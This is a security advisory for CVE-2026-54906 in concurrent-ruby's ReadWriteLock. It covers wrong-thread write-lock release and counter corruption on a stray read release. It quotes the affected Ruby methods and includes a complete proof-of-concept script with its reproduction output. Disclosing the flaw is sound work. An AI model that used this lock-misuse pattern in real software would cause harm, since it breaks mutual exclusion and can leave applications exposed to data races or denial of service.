Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruptionCVE-2026-54906

### Summary `Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. `Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`. This is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary. ### Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab ### Details `release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership: ```ruby def release_write_lock return true unless running_writer? c = @Counter.update { |counter| counter - RUNNING_WRITER } @ReadLock.broadcast @WriteLock.signal if waiting_writers(c) > 0 true end ``` Because ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer. `release_read_lock` unconditionally decrements the shared counter: ```ruby def release_read_lock while true c = @Counter.value if @Counter.compare_and_set(c, c-1) if waiting_writer?(c) && running_readers(c) == 1 @WriteLock.signal end break end end true end ``` On a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated. # Reproduce From the root of a `concurrent-ruby` checkout, run: ```bash ruby -Ilib/concurrent-ruby - <<'RUBY' require 'concurrent/atomic/read_write_lock' require 'concurrent/version' require 'thread' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=ReadWriteLock release methods corrupt or bypass lock state" lock = Concurrent::ReadWriteLock.new events = Queue.new writer1_inside = false writer1 = Thread.new do lock.acquire_write_lock writer1_inside = true events << :writer1_acquired sleep 0.5 writer1_inside = false lock.release_write_lock events << :writer1_finished end events.pop puts 'writer1_acquired=true' intruder_result = nil intruder = Thread.new do intruder_result = lock.release_write_lock end intruder.join puts "wrong_thread_release_write_lock_returned=#{intruder_result}" writer2_entered_while_writer1_inside = nil writer2 = Thread.new do lock.acquire_write_lock writer2_entered_while_writer1_inside = writer1_inside lock.release_write_lock end writer2.join(0.25) puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}" writer1.join lock2 = Concurrent::ReadWriteLock.new stray_read_release_result = lock2.release_read_lock counter_after_stray_read_release = lock2.instance_eval { @Counter.value } read_after_stray_release = begin lock2.acquire_read_lock 'acquired' rescue => error "#{error.class}: #{error.message}" end puts "stray_release_read_lock_returned=#{stray_read_release_result}" puts "counter_after_stray_read_release=#{counter_after_stray_read_release}" puts "acquire_read_after_stray_release=#{read_after_stray_release}" if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1 puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption' else puts 'result=NOT_REPRODUCED' end ``` Expected result: - A second thread successfully calls `release_write_lock` while the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section. - Calling `release_read_lock` on a fresh lock changes the counter to `-1`. - A subsequent read acquisition fails with `Concurrent::ResourceLimitError`. ### Log evidence Local reproduction output: ```text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=ReadWriteLock release methods corrupt or bypass lock state writer1_acquired=true wrong_thread_release_write_lock_returned=true writer2_acquired_while_writer1_inside=true stray_release_read_lock_returned=true counter_after_stray_read_release=-1 acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads result=REPRODUCED wrong-thread write release and stray read-release corruption ``` ### Impact This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

Quoted source text, attributed separately from HOL analysis.